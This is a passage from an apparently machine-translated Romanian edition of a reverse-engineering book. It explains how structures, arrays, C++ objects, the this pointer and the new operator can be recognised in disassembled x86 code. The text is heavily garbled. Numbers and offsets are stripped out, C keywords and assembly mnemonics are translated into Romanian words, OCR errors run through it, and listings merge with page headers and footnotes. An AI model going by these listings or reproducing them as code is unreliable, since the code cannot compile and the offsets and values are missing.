(mult mai mult decât un dezvoltator mediu) Deci, identificarea unui constructor virtual din cauza absenței conceptului în sine este, în principiu, imposibilă Emularea sa are zeci de soluții (dacă nu mai multe), o simplă enumerare a cărora este deja o problemă! Cu toate acestea, nu trebuie să faceți acest lucru - în cele mai multe cazuri, constructorii virtuali sunt funcții virtuale care iau indicatorul this ca argument și returnează un pointer către un nou obiect Nu este foarte fiabil pentru identificare, dar mai bine decât nimic Constructorul unu, constructorul doi Un obiect poate avea mai mult de un constructor (și foarte des are) Totuși, acest lucru nu afectează în niciun fel analiza Indiferent de câți constructori sunt prezenți, pentru fiecare instanță a unui obiect este apelat întotdeauna unul singur, ales de compilator, în funcție de forma declarației obiectului Singurul detaliu este că diferite instanțe de obiect pot apela diferiți constructori - fiți atenți! Constructor gol Unele limitări ale constructorului (în special lipsa unei valori returnate) au condus la stilul de programare „constructor gol” Constructorul este lăsat în mod deliberat gol și tot codul de inițializare este plasat într-o funcție membru specială, numită de obicei init O discuție despre punctele forte și punctele slabe ale acestui stil este subiectul unei discuții separate care depășește scopul acestei cărți Este suficient ca cercetătorii să știe că un astfel de stil există și că este folosit în mod activ nu numai de programatori individuali, ci și de cele mai mari companii gigantice (de exemplu, Microsoft) Prin urmare, dacă întâlniți un apel de constructor gol, nu vă mirați, este normal și căutați o funcție de inițializare printre membrii obișnuiți Capitolul Identificarea obiectelor, structurilor și matricelor Reprezentarea internă a obiectelor este foarte asemănătoare cu reprezentarea structurilor în limbajul C (în mare, obiectele sunt structuri), așa că vom acoperi identificarea lor într-un singur capitol Identificarea structurii Structurile sunt foarte populare în rândul programatorilor - permițându-vă să combinați datele legate de „sub un singur acoperiș”, ele fac lista programului mai vizuală, făcându-l mai ușor de înțeles În consecință, identificarea structurilor în timpul dezasamblarii facilitează analiza codului Spre marele regret al cercetătorilor, structurile ca atare există doar în codul sursă al programului și sunt aproape complet „măcinate” în timpul compilării acestuia, devenind imposibil de distins de variabilele obișnuite, fără legătură Luați în considerare exemplul prezentat în Lista Lista Un exemplu care demonstrează distrugerea structurilor în timpul compilării #include #include structura zz { char s [ ]; int a; plutitor f; func(struct zzz y) // În mod clar, trecerea unei structuri după valoare este cel mai bine evitată, // dar acest lucru este intenționat aici pentru a demonstra crearea implicită // a unei variabile locale { printf("%s %x %f\n",&y sO[ ], y a, yf); principal() { Struct zzz y; strcpy(&y sO[ ],"Bună ziua, Marinarul ") ; y a= x ; yf= , ; func(y); Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt Rezultatul compilării exemplului din Lista ar trebui să arate în general ca Lista ' : ; Lista Rezultatul compilarii exemplului; prezentate în Lista proc principal lângă COD XREF: start+AFJ-p var = octet ptr - h var = dword ptr - var = dword ptr - ; Membrii structurii nu se pot distinge de variabilele locale obișnuite împinge ebp mov ebp, esp sub esp, h ; Rezervarea spațiului de stivă pentru o structură împinge esi push edi push offset aHelloSailor ; Bună Sailor lea eax, [ebp+var ] ; Indicator către variabila locală var ; Următoarea variabilă este situată la offset , ; prin urmare, x - x = x - șaisprezece octeți - atât ; ocupă span , ceea ce sugerează că acesta este șirul împinge max sunați la strcpy ; copiați șirul din segmentul de date în variabila membru local ; structurilor adăugați esp, mov[ebp+var ] , h ; Introducerea valorii x într-o variabilă DWORD mov[ebp+var ], D h ; Această valoare flotantă este , sub esp, h ; Rezervăm spațiu pentru o variabilă locală ascunsă care ; utilizat de compilator pentru a transmite o funcție de instanță struct unei funcții ; cu valoarea muta ex, ; Vor fi copiate cuvinte duble, adică de octeți ; - pe linie și câte patru pentru float și int lea esi, [ebp+var ] ; Obțineți un pointer către structura copiată Această problemă va fi discutată mai detaliat în Capitolul , „Identificarea literală și a șirurilor de caractere” Această problemă va fi discutată mai detaliat în Capitolul , „Identificarea argumentelor funcției” Mai multe informații despre acest subiect pot fi găsite în Capitolul , „Identificarea variabilelor de registru și temporare” Capitolul Identificarea obiectelor, structurilor și matricelor mov edi, esp ; Obțineți un pointer către variabila locală ascunsă nou creată repe movsd ; Copierea! apel func ; Numim funcția ; Trecerea unui pointer către o variabilă locală ascunsă nu se întâmplă − ; este deja în vârful stivei adauga esp, h pop edit pop esi rrov esp, ebp pop ebp retn endp principal Acum să înlocuim structura cu o declarație secvențială a acelorași variabile (Listatul ) Lista Un exemplu care demonstrează asemănarea structurilor cu locale obișnuite principal() char sO[ ] ; int a; plutitor f; strcpy(&sO[ ],"Bună ziua, Marinarul ") ; a= x ; f= , ; Rezultatul compilării acestui exemplu este prezentat în Listarea Comparați această listă cu rezultatul afișat în Lista proc principal lângă C DE XREF: start+AFJ-p var = dword ptr - h var = octet ptr - h var = dword ptr~ ; Da, pare să existe o oarecare diferență Într-adevăr, variabile locale ; împins pe stivă într-o ordine diferită de cea în care au fost declarate ; program, dar după cum dorește compilatorul Dimpotrivă, membrii structurii ; trebuie plasate în ordinea în care sunt declarate ; Dar, din moment ce, la dezasamblare, ordinea secvenței inițiale ; variabilele nu sunt cunoscute, pentru a determina dacă sunt localizate „corect” sau nu, ; vai, nu se poate împinge ebp mov ebp, esp sub esp, h Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; Rezervăm x octeți ai stivei (ca în exemplul anterior) push offset aHelloSailor ; Bună Sailor lea eax, [ebp+var ] împinge eax sunați la strcpy adăugați esp, mov[ebp+var ], h mov[ebp+var ], D h ; Vezi: codul se potrivește perfect de la octet la octet Prin urmare, ; este imposibil să distingem automat o structură de o simplă aglomerare ; variabile locale mov esp, ebp pop ebp retn endp principal func proc lângă ; COD XREF: principal+ Îp var = qword ptr - arg = octet ptr arg = dword ptr h arg = dword ptrlCh ; Vezi: deși un singur argument este transmis funcției - o instanță ; structuri - în textul dezasamblat nu se distinge de secvenţial ; împingând mai multe variabile locale în stivă! Prin urmare, restaurați ; prototipul funcției autentice este imposibil împinge ebp mov ebp, esp fld[ebp+arg ] ; Încărcați pe stiva FPU un număr întreg real situat la offset ; x în raport cu indicatorul eax sub esp ; Rezervați octeți pentru variabilele locale fstp [esp+ +var ] ; Transmiteți valoarea reală citită variabilei locale mov eax, [ebp+arg ] împinge max ; Citiți doar variabila reală „trecută” ; și împingeți-l pe stivă lea ecx, [ebp+arg ] ; Obțineți un indicator către primul argument pusn ecx push offset aSXF ; „%s %x %f\n” apelați printf adăugați esp, h pop ebp retn func-endp Capitolul Identificarea obiectelor, structurilor și matricelor Se pare că este imposibil să distingem o structură de variabilele obișnuite? Este posibil ca cercetătorul să fie nevoit să recunoască în mod independent „relația” datelor, uneori comitând greșeli și reproducând incorect codul sursă al programului? Cum să spun Da și nu în același timp „Da”: o instanță de structură folosită în aceeași unitate de traducere în care a fost declarată este „extinsă” în etapa de compilare în variabile independente, care sunt accesate individual la adresele lor reale (eventual relative) "Nu" — dacă există un singur indicator către o instanță a structurii în domeniu Apoi accesul la toți membrii structurii are loc printr-un pointer către această instanță a structurii (deoarece structura nu este prezentă în domeniu, de exemplu, este trecută la o altă funcție prin referință, este imposibil să se calculeze adresele reale ale membrii săi în etapa de compilare) Așteptați puțin, dar exact așa sunt accesate elementele matricei - indicatorul de bază indică la începutul matricei, se adaugă offset-ul elementului dorit față de începutul matricei (indicele elementului înmulțit cu dimensiunea sa) aceasta Rezultatul calculelor va fi indicatorul real către elementul dorit! Singura diferență fundamentală dintre matrice și structuri este că matricele sunt omogene (adică sunt formate din elemente de același tip), în timp ce structurile pot fi fie omogene, fie eterogene (constând din elemente de diferite tipuri) Astfel, sarcina identificării structurilor și tablourilor se reduce la: în primul rând, la alocarea celulelor de memorie adresate printr-un pointer de bază comun pentru toate acestea și, în al doilea rând, la determinarea tipului acestor variabile Dacă este posibil să evidențiem mai mult de un tip - cel mai probabil avem o structură în fața noastră, altfel poate fi atât o structură, cât și o matrice cu succes egal - atunci trebuie să ne uităm la circumstanțe Pe de altă parte, dacă programatorul decide să calculeze dependența de cafea consumată în ziua săptămânii, el poate aloca fie matricea day[ ] pentru contabilitate, fie poate crea o struct week{int Monday; int marți; } În ambele cazuri, codul generat de compilator va fi același, și nu doar codul, ci și sensul! În acest context, o structură nu se poate distinge din punct de vedere fizic și logic de o matrice, iar alegerea unei anumite construcții este o chestiune de gust De asemenea, rețineți că tablourile sunt de obicei lungi, iar accesarea elementelor lor este adesea însoțită de diferite operații matematice efectuate pe pointer În plus, procesarea elementelor matricei, de regulă, se realizează într-un ciclu, iar membrii structurii, ca de obicei, sunt „sortați” individual (deși unii programatori își asumă libertatea de a trata structura ca o matrice) Și mai rău, C/C++ permite (dacă nu provoacă) conversii de tip explicite În acest caz, la dezasamblare, nu se va putea stabili dacă avem de-a face cu date eterogene (adică, o structură) combinate „sub un singur acoperiș”, sau dacă este o matrice cu o conversie de tip „manuală” a elementelor sale Deși, strict vorbind, după asemenea transformări, matricea se transformă într-o adevărată structură! (O matrice, prin definiție, este omogenă și nu poate stoca date de diferite tipuri ) Să modificăm exemplul anterior trecând funcției nu o structură, ca atare, ci un pointer către aceasta și să vedem ce fel de cod a generat compilatorul (Listing ) ' Lista Rezultatul compilarii exemplului modificat (vezi Lista ), ; în care funcția este transmisă nu structura în sine, ci un pointer către aceasta funct proc lângă COD XREF: sub + p var = qword ptr arg = dword ptr ; Yep Funcția acceptă un singur argument împinge ebp Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt mov ebp, esp mov eax, [ebp+arg ] ; Încărcăm argumentul transmis funcției în EAX fld dword ptr [eax+ h] ; Încărcarea stivei FPU cu o valoare reală situată la offset ; x în raport cu pointerul EAX ; Astfel, în primul rând, EAX (argumentul transmis funcției) este ; pointer, în al doilea rând, nu este doar un indicator, ci un indicator de bază, ; folosit pentru a accesa elementele unei structuri sau ale unei matrice ; Amintiți-vă tipul primului element (valoarea reală) și continuați ; analiză sub esp ; Rezervăm octeți pentru variabilele locale fstp [esp+ +var ] ; Trecem valoarea reală citită în variabila locală var mov ecx, [ebp+arg ] ; Încărcăm în ECX valoarea pointerului transmisă funcției mov edx, [ecx+lOh] ; Încărcăm valoarea la offset x în EDX ; Aha! Aceasta în mod clar nu este o valoare reală, prin urmare, avem de-a face ; cu structura împinge edx ; Împingeți valoarea citită pe stivă mov eax, [ebp+arg ] împinge max ; Obținem un pointer către structură (adică către primul său membru) ; și împingeți-l pe stivă Din moment ce elementul cel mai apropiat ; este situat la offset x , apoi primul element al structurii, aparent, ; ocupă toți acești x octeți, deși acest lucru nu este necesar - poate ; restul de membri ai structurii pur și simplu nu sunt utilizați Instalați ca toți ceilalți ; este de fapt cazul, poți, referindu-te la chemarea (mama) ; funcție care a inițializat această structură, dar chiar și fără aceasta noi ; îi putem restabili forma aproximativă ; struct xxx( ; char x[ x ] II int x[ ] || intl [ ] || int [ ]; ; int y; ; floatz; ; > push offset aSXF ; „%s %x %f\n” ; Linia de specificare vă permite să specificați tipuri de date - de exemplu, primul ; elementul este, fără îndoială, char x[x ] deoarece este scos ca ; șir, de unde presupunerea noastră preliminară despre format ; structurile sunt corecte! apelați printf adăugați esp, h pop ebp retn Capitolul Identificarea obiectelor, structurilor și matricelor funct endp proc principal lângă C DE XREF: start+AF>Lp var - octet ptr h var - dword ptr var = dword ptr - ; Vezi: la prima vedere, avem de-a face cu mai multe locale ; variabile, dar să nu ne grăbim să le identificăm! împinge ebp mov ebp, esp sub esp, h ; Deschiderea cadrului stivei push offset aHelloSailor ; Salut Marinar! lea eax, [ebp+var ] împinge eax apelați unknown libname l ; unknown libmane este strcpy și îl puteți înțelege fără măcar să analizați ; codul său Funcția ia două argumente - un pointer către un buffer local ; de x octeți (dimensiunea x se obține prin scăderea offset-ului celui mai apropiat ; variabilă din offset-ul acestei variabile în sine în raport cu cardul ; grămadă; strcmp are exact același prototip, dar nu poate fi ; strcmp deoarece tamponul local nu este inițializat și poate fi ; doar ca buffer de destinație adăugați esp, ; Scoateți argumentele din stivă mov[ebp+var ], h ; Inițializam variabila locală var de tip DWORD mov[ebp+var ], D h ; Inițializați variabila locală var de tip nu, nu DWORD ; (chiar dacă arată ca un DWORD), după ce am analizat modul în care această variabilă ; este folosit în funcția la care este transmis, recunoaștem ; are o valoare reală de octeți Deci este float lea esx, [ebp+var ] împinge ex ; Acum - cel mai important lucru! Funcției i se transmite un pointer către local ; variabila var , este un buffer de șir de dimensiune x octeți, ; dar analiza funcţiei numite ne-a permis să stabilim că aceasta cheamă ; nu numai primilor x octeți ai stivei funcției părinte, ci tuturor - ; x ' Prin urmare, funcției nu i se transmite un pointer către un șir ; buffer, ci un pointer către o structură ; srtuct x{ ; char var [ ]; ; int var ; ; float var ; } Această problemă va fi discutată mai detaliat în Capitolul , „Identificarea argumentelor funcției” Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; Deoarece tipurile de date sunt diferite, aceasta este o structură, nu un ; matrice funcția de apelare adăugați esp, mov esp, ebp pop ebp retn sub endp Identificarea obiectului Obiectele limbajului C++ sunt, de fapt, structuri care combină date, metode de procesare a acestora (adică funcții) și atribute de securitate (de exemplu, public, friend etc ) Membrii de date ai unui obiect sunt tratați de compilator în același mod ca membrii structurii normale Funcțiile non-virtuale sunt apelate la offset-ul real și nu sunt prezente în obiect Funcțiile virtuale sunt apelate printr-un pointer special către un tabel virtual plasat într-un obiect, iar atributele de protecție sunt distruse în etapa de compilare Singura modalitate de a distinge o funcție publică de una protejată este că funcția publică este numită și de alte obiecte, în timp ce cea protejată este numită doar din propriul obiect Acum să ne uităm la toate aceste probleme mai detaliat Deci, un obiect (sau mai degrabă, o instanță a unui obiect) - ce este? Să presupunem că avem următorul obiect (Listarea - ) Lista Un exemplu care demonstrează structura obiectului Y clasa MyClass{ void demo l(void); int a; intb; public: virtual void demo (void); int c,- ); MyClass zzz; Instanța obiectului zzz va fi „împărțită” de către compilator în următoarea structură (Figura ) Cercetătorul se confruntă cu următoarele probleme: cum să distingem obiectele de structurile simple? Cum se determină dimensiunea obiectelor? Cum să determinați ce funcție aparține cărui obiect? Să începem să răspundem la întrebări în ordine Orez Reprezentarea unei instanțe de obiect în memorie Indicator către VTBL Capitolul Identificarea obiectelor, structurilor și matricelor Strict vorbind, este imposibil să distingeți un obiect de o structură datorită faptului că un obiect este o structură cu membri care sunt confidențial în mod implicit Când declarați obiecte, puteți utiliza atât cuvântul cheie struct, cât și cuvântul cheie class Mai mult, pentru clasele, a căror toți membrii sunt deschisi, este de preferat să folosiți struct, deoarece membrii structurii sunt deja publici în mod implicit Comparați următoarele două exemple (Listarea ) Lista Clasele sunt structuri cu membri care sunt privați în mod implicit struct MyClassf void demo(void); intx; privat: void derno private(void) ; int y; clasa MyClass{ void demo private(void); int y; public: void demo(void); intx; O înregistrare diferă de alta doar sintactic, dar codul generat de compilator va fi identic! Prin urmare, cu speranța de a învăța să distingem obiectele de structuri, ar trebui să ne despărțim cât mai curând posibil OK, să fim de acord să considerăm ca obiecte structurile care conțin una sau mai multe funcții, dar cum să determinăm care funcție aparține cărui obiect? Cu funcțiile virtuale, totul este simplu - acestea sunt apelate indirect, printr-un pointer către un tabel virtual, plasat de compilator în fiecare instanță a obiectului căruia îi aparține această funcție virtuală Funcțiile non-virtuale sunt apelate la adresa lor reală, la fel ca și funcțiile obișnuite care nu aparțin niciunui obiect Este situația fără speranță? In nici un caz! Fiecărei funcție membru a unui obiect i se transmite un argument implicit, pointerul this, care se referă la instanța obiectului căruia îi aparține funcția O instanță a unui obiect nu este, totuși, obiectul în sine, ci ceva foarte strâns legat de acesta, așa că restabilirea structurii originale a obiectelor programului dezasamblat este destul de realistă Acest lucru va fi discutat mai detaliat mai târziu în acest capitol, în secțiunea „Obiecte și instanțe” Mărimea obiectelor este determinată de aceleași indicatori - ca diferența dintre pointerii vecini (dacă obiectele sunt situate pe stivă sau în segmentul de date) Dacă instanțele de obiect sunt create cu operatorul nou (cum se întâmplă adesea), atunci apelul la noua funcție este plasat în cod, care ia ca argument numărul de octeți alocați - aceasta este dimensiunea obiectului Asta, de fapt, este tot Rămâne de adăugat că mulți compilatori, atunci când creează o instanță a unui obiect care nu conține nici date, nici funcții virtuale, îi alocă totuși o cantitate minimă de memorie (de obicei un octet), deși nu o folosesc în niciun fel De ce se face asta? La urma urmei, memoria este limitată și nu puteți aloca un octet din grămada - din cauza granulării, o bucată solidă este „mâncată”, a cărei dimensiune variază de la octeți la KB (în funcție de implementarea grămada în sine) Motivul este că este vital pentru compilator să definească acest pointer - null, din păcate, acest lucru nu poate fi, deoarece acest lucru ar provoca o excepție la prima încercare de a-l accesa Da, iar operatorul de ștergere trebuie să ștergă ceva și, dacă da, acest „ceva” trebuie mai întâi selectat Toate acestea sunt neajunsuri ale C++, deși dezvoltatorii săi continuă să spună că limbajul lor este la fel de eficient ca C-ul pur Bine, toate acestea sunt poezie, să trecem la exemple specifice Listarea oferă un exemplu care demonstrează identificarea obiectelor și structurii Lista Un exemplu care demonstrează identificarea obiectelor și structurii #include clasa MyClass{ Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt public: void demo(void); intx; privat: demo private(void); int y; }; void MyClass::demo private(void) { printf("Privat\n"); } void MyClassdemo(void) { printf("Clasa mea\n"); asta->demo private(); aceasta->y= x ; } principal() { MyClass *zzz = noua MyClass; zz->demo(); zzz->x= x ; Compilarea exemplului din Lista ar trebui, în general, să arate ca Lista w-v (y,-»-/; »• , ■ - ■ - ; LISTĂRI Rresult^»^ proc principal lângă COD XREF: start+AF-lp împinge esi apăsați sunați la ?? @YAPAXI@Z ; operator nou(uint) ; Alocam octeți pentru o instanță a unui obiect cu operatorul nou ; De fapt, nu este deloc un fapt că memoria este alocată special pentru obiect ; (poate că era ceva de genul char *x = new char[ ]), deci ; nu vom considera această afirmație o dogmă, ci o vom accepta ca pe o ipoteză de lucru ; - Cercetările ulterioare vor arăta ce este mov esi, eax adăugați esp, mov ecx, esi ; Pointerul this este pregătit și transmis funcției printr-un registru ; Deci ECX nu este altceva decât un pointer către o instanță de obiect! apelați demo ; Așa că trebuie să apelăm funcția demo! ; Nu este încă clar ce face această funcție (numele simbolic care i-a fost dat Acest lucru va fi tratat mai detaliat în Capitolul , „Identificarea acestui lucru” Capitolul Identificarea obiectelor, structurilor și matricelor ; vizibilitate), dar se știe că aparține unei instanțe a unui obiect, pe ; care indică ECX, Să numim această instanță „a” Mai departe, pentru că ; funcția care apelează demo (adică funcția în care ne aflăm acum ; sunt localizate), nu aparține lui „a” (ea însăși a creat-o - nu a putut ; aceeași instanță a obiectului în sine „trageți-vă de păr”), apoi funcția demo - ; aceasta este o funcție publică Bun pentru început? mov dword ptr [esi], h ; Ei bine ne amintim că ESI indică o instanță a unui obiect, atunci ; rezultă că obiectul mai are un membru public - o variabilă ; tastați int ; Conform concluziilor preliminare, obiectul arăta astfel: ,-clasa clasa mea{ ; public: ; void demo(void); // void - deoarece funcția nu acceptă nimic și nu ; // se intoarce ; int x; pop esi retn endp principal proc demo lângă C DE XREF: principal+FÎp ; aici suntem în funcția demo, un membru al obiectului A împinge esi mov esi, ecx ; Încărcăm în ECX - acest pointer a trecut funcției push offset aMyclass ; „MyClass\n” apelați printf adăugați esp, ; Afișăm șirul pe ecran nu este interesant, dar iată mai multe mov ecx, esi apelați demo private ; O altă funcție este numită! Judecând după aceasta, aceasta este o funcție a noastră ; obiect și cel mai probabil având un atribut privat, ; întrucât se numeşte numai din funcţia obiectului însuşi mov dword ptr [esi+ ], h ; Deci, mai există o variabilă în obiect, probabil privată Atunci, ; conform vederilor moderne, obiectul ar trebui să arate astfel: ; clasa mea clasa{ ; void demo private(void); ; int y; public: ; void demo(void); // void - deoarece funcția nu face nimic ; // acceptă și nu se întoarce ; int x; Deci, nu numai că am identificat obiectul, ci chiar i-am restaurat structura! Deși nu este imun la erori (de exemplu, asumarea confidențialității demo private și y se bazează doar pe faptul că nu au fost apelate niciodată din afara obiectului), dar totuși, OOP nu este atât de înfricoșător, Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; cum este pictat și restaurați dacă nu textul sursă original; program, atunci cel puțin o aparență a acestuia este foarte posibilă' pop esi retn demo endp demo private proc lângă ; C DFXREF; demo-tl Onp ; Demo-ul funcției private - nimic interesant push offset aPrivat ; „PrivateXn” apelați printf pop ecx retn demo private endp Obiecte și instanțe În codul generat de compilator, nu există deloc obiecte - doar instanțe de obiecte La prima vedere, acest lucru pare nesemnificativ Cui ii pasa? O instanță a unui obiect nu este obiectul însuși? Nu, există o diferență fundamentală între un obiect și o instanță Un obiect este o structură, în timp ce o instanță a unui obiect (în codul generat!) este o substructură a acelei structuri Adică să existe un obiect A, care include funcțiile a; și a Mai mult, să fie create două instanțe ale acesteia - dintr-una numim funcția a;, iar din cealaltă - a Cu ajutorul acestui pointer, putem afla doar că funcția a; aparține unei instanțe, iar a aparține alteia Dar este imposibil să se determine dacă aceste instanțe sunt instanțe ale aceluiași obiect sau instanțe ale două obiecte diferite! Situația este agravată de faptul că funcțiile moștenite nu sunt duplicate în clasele derivate (în orice caz, compilatoarele „inteligente” fac acest lucru, deși totul se întâmplă în viață) Apare ambiguitatea - dacă funcțiile a sunt asociate cu o singură instanță; și a , iar cu celălalt - aL a și aj, atunci acestea pot fi fie instanțe ale aceleiași clase (funcția a? pur și simplu nu este numită din prima instanță), fie a doua instanță poate fi o instanță a unei clase derivate din prima Codul generat de compilator va fi identic în ambele cazuri! Trebuie să restabilim ierarhia claselor în funcție de sensul și scopul funcțiilor lor Desigur, doar un clarvăzător poate reproduce cel puțin aproximativ codul sursă Într-un cuvânt, oricum ar fi, nu confundați niciodată o instanță de obiect cu obiectul în sine și nu uitați că obiectele există doar în textul sursă și sunt distruse în etapa de compilare Adresa mea nu este o casă sau o stradă Unde „trăiesc” structurile, matricele și obiectele? Desigur, în memorie! Și mai precis? Mai precis, există trei tipuri de alocare: pe stivă (memorie automată), segment de date (memorie statică) și pe heap (memorie dinamică) Și fiecare tip cu propriul „caracter” Să luăm o stivă - alocarea memoriei este implicită, care are loc de fapt în etapa de compilare și este garantată să fie determinată doar cantitatea totală de memorie alocată pentru toate variabilele locale și este imposibil în principiu pentru a determina cât ia fiecare dintre ele Nu crezi? Dar să zicem, să existe un astfel de cod: char al[ ] ; char a [ j; char a [ Dacă compilatorul aliniază matrice la mai multe adrese (cum o fac mulți compilatori), atunci diferența de decalaje dintre matricele cele mai apropiate unele de altele poate să nu fie egală cu dimensiunea lor Singura speranță de a restabili dimensiunea inițială este de a găsi în verificările de cod pentru matrice out-of-bounds (dacă există, pentru că adesea nu există) Al doilea (cel mai neplăcut) este că, dacă una dintre matrice nu este folosită, ci doar declarată, atunci compilatoarele neoptimizatoare (și chiar unele optimizatoare!) pot totuși să-i aloce spațiu de stivă Se va învecina strâns cu matricea anterioară și apoi rămâne doar de ghicit - este dimensiunea matricei sau o matrice neutilizată este „umflată” la capătul său? Ei bine, matricele sunt încă în regulă, dar lucrurile stau mult mai rău cu structurile și obiectele Nimănui nu i-ar trece prin cap să pună Capitolul Identificarea obiectelor, structurilor și matricelor în program codul care monitorizează ieșirea din structură (obiect) Acest lucru este imposibil în principiu (bine, cu excepția faptului că programatorul lucrează prea liber cu pointerii)! Bine, să lăsăm dimensiunea deoparte, să trecem la problemele de „mătură” și găsirea indicatorilor După cum am menționat mai devreme, dacă o matrice (obiect, structură) este declarată în domeniul imediat al unei unități de traducere, este „smuls” în etapa de compilare, iar accesul la membrii săi are loc prin offset-ul real și nu prin indicatorul de bază Din fericire, identificarea obiectelor este facilitată de prezența unui pointer către o tabelă virtuală în ele, dar nu este un fapt că orice tabel de pointeri către funcții este un tabel virtual! Poate este doar o serie de indicatori de funcție definite de programator însuși? În general, cu experiență, astfel de situații pot fi ușor de recunoscut , dar totuși sunt destul de neplăcute Lucrurile sunt mult mai simple cu obiectele situate în memoria statică - datorită naturii lor globale, au un steag special care împiedică apelarea constructorului din nou , astfel încât devine foarte ușor să distingem o instanță de obiect aflată în segmentul de date de o structură sau matrice Cu definirea dimensiunii sale, totuși, toate aceleași inconsecvențe În cele din urmă, obiectele (structuri, matrice) situate pe grămada sunt doar un basm pentru analiză! Alocarea memoriei este efectuată de o funcție care acceptă în mod explicit un anumit număr de octeți alocați ca argument și returnează un pointer care este garantat să indice începutul unei instanțe a unui obiect (structură, matrice) Vestea bună este că elementele sunt întotdeauna accesate prin indicatorul de bază, chiar dacă declarația este făcută în scope (nu poate fi altfel - adresele efective ale blocurilor de memorie dinamică alocate nu sunt cunoscute în etapa de compilare) Această problemă a fost discutată în Capitolul , „Identificarea funcțiilor virtuale” Această problemă a fost discutată în capitolul , „Identificarea constructorului și a destructorului” Capitolul Identificarea aceasta Acest indicator este o adevărată „cheie de aur” sau, dacă doriți, o „coală de salvare” care vă permite să nu vă înecați în oceanul furtunos al OOP Datorită acesteia, este posibil să se determine dacă funcția apelată aparține uneia sau alteia instanțe a obiectului Deoarece toate funcțiile non-virtuale ale obiectului sunt numite direct - la adresa reală, obiectul este, așa cum ar fi, „divizat” în funcțiile sale constitutive în etapa de compilare Dacă nu ar exista acest indicator, ar fi fundamental imposibil să restabiliți ierarhia funcțiilor! Prin urmare, identificarea corectă a acestuia este foarte importantă Singura problemă este cum să-l distingem cu precizie de pointerii către matrice și structuri La urma urmei, identificarea unei instanțe de obiect este efectuată de pointerul this (dacă aceasta indică către memoria alocată, aceasta este o instanță de obiect), dar acesta însuși, prin definiție, este un pointer care se referă la o instanță de obiect Cercul vicios Din fericire, există o lacună Codul care manipulează acest pointer este foarte specific, ceea ce face posibil să se distingă acest indicator de toți ceilalți pointeri De fapt, fiecare compilator are propriul „scris de mână”, care este foarte recomandat să îl studiezi prin dezasamblarea propriilor programe scrise în C++ Cu toate acestea, există linii directoare generale care se aplică majorității implementărilor Deoarece acesta este un argument implicit pentru fiecare funcție membru a unei clase, este logic să amânăm identificarea acesteia până la Capitolul , „Identificarea argumentelor funcției” Aici vom oferi doar un scurt rezumat al mecanismelor de transmitere a acestuia de către diverși compilatori (Tabelul ) Tabelul Mecanismul de trecere a acestui pointer depinde de implementarea compilatorului și de tipul funcției Tipul funcției compilatorului Implicit I fastcall cdecl I stdcall Pascal Microsoft Visual C++ ECX Prin stivă ca ultim argument al funcției Prin stivă ca prim argument Borland C++ EAX Watcom C Capitolul Identificarea noilor și ștergeți Operatorii noi și de ștergere sunt traduși de compilator în apeluri de funcții de bibliotecă, care pot fi recunoscute în același mod ca și funcțiile obișnuite de bibliotecă Dezasamblatorul IDA Pro, în special, poate recunoaște automat funcțiile bibliotecii, eliminând această preocupare de pe umerii utilizatorului Cu toate acestea, nu toată lumea are IDA Pro și nu este întotdeauna la îndemână la momentul potrivit În plus, nu toate funcțiile bibliotecii sunt cunoscute acestui dezasamblator și, în special, new și delete nu sunt întotdeauna recunoscute corect Cu alte cuvinte, există o mulțime de motive pentru identificarea lor manuală Implementarea noilor și ștergerii poate fi orice, dar majoritatea compilatoarelor Windows implementează foarte rar funcții heap Și de ce să faci asta, pentru că este mult mai ușor să apelezi la serviciile sistemului de operare Cu toate acestea, este naiv să vă așteptați la un apel către HeapAlloc în loc de nou și HeapFree în loc de ștergere Nu, compilatorul nu este atât de simplu! Noul operator este tradus în noua funcție, care apelează funcția malloc pentru a aloca memorie, malloc, la rândul său, se referă la heap alloc - un fel de „wrapper” al procedurii Win API cu același nume Imaginea cu eliberarea memoriei este similară Identificare noua Este prea plictisitor să mergi în jungla apelurilor imbricate Este posibil să identificați operatorii noi și să ștergeți în alt mod, cu mai puțin efort și fără dureri de cap inutile? Sigur ca poti! Să revizuim tot ce știm despre nou: □ New ia un singur argument, numărul de octeți ai memoriei alocate, iar în majoritatea cazurilor acest argument este calculat în etapa de compilare, adică este o constantă □ Dacă obiectul nu conține nici date, nici funcții virtuale, atunci dimensiunea lui este una (blocul minim de memorie alocat doar pentru a avea ceva de indicat către acest pointer) Prin urmare, veți vedea o mulțime de apeluri precum push oiXcall xxx, unde xxx este adresa noului! În general, dimensiunea tipică a obiectelor este mai mică de o sută de octeți - căutați o funcție numită frecvent, cu un argument constant, a cărui dimensiune este mai mică de o sută de octeți □ Noua funcție este una dintre cele mai „populare” funcții de bibliotecă - căutați o funcție cu o mulțime de referințe încrucișate □ Cel mai notabil: new returnează acest indicator, iar acesta este foarte ușor de identificat chiar și cu o privire rapidă la codul Această problemă va fi discutată mai detaliat în Capitolul , „Identificarea funcțiilor bibliotecii” Implementarea heap alloc depinde de implementarea bibliotecii de memorie, care va fi discutată mai târziu în acest capitol în Sec „Abordări ale implementării heap” Capitolul , „Identificarea acestui lucru”, este dedicat acestei probleme Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt □ Rezultatul returnat de new este întotdeauna testat față de zero Dacă acest rezultat este într-adevăr zero, atunci constructorul (dacă există) nu este apelat Astfel, new are mai mult decât suficiente „semne de naștere” pentru o identificare rapidă și fiabilă Singurul lucru de reținut este că new este folosit nu numai pentru a crea instanțe noi de obiecte, ci și pentru a aloca memorie pentru matrice (structuri) și, ocazional, pentru variabile individuale (de exemplu, puteți întâlni construcții precum int * x = new int, ceea ce, în general vorbind, absurd, dar unii oameni o fac) Din fericire, este foarte ușor de spus când este folosit new pentru a aloca memorie - nici matricele, nici structurile, nici variabilele singulare nu au acest indicator! Pentru a ilustra ceea ce tocmai s-a spus, luați în considerare un fragment de cod generat de compilatorul Watcom (Listarea ) Acest compilator a fost ales deoarece IDA Pro nu recunoaște implementarea sa „nativă” a noului Listare în fragment main proc lângă COD XREF: CMainMoXp împinge loh sunați CHK împinge ebx împinge edx muta eax, sunați la W?$nwn ui pnv ; Aceasta, după cum vom vedea mai târziu, este noua funcție De fapt, numele ei era ; recunoscut de dezasamblator, dar pentru a afla în acest „faracie” ; operator de alocare a memoriei - trebuie să fii un vizionar ; Deocamdată, rețineți că este nevoie de 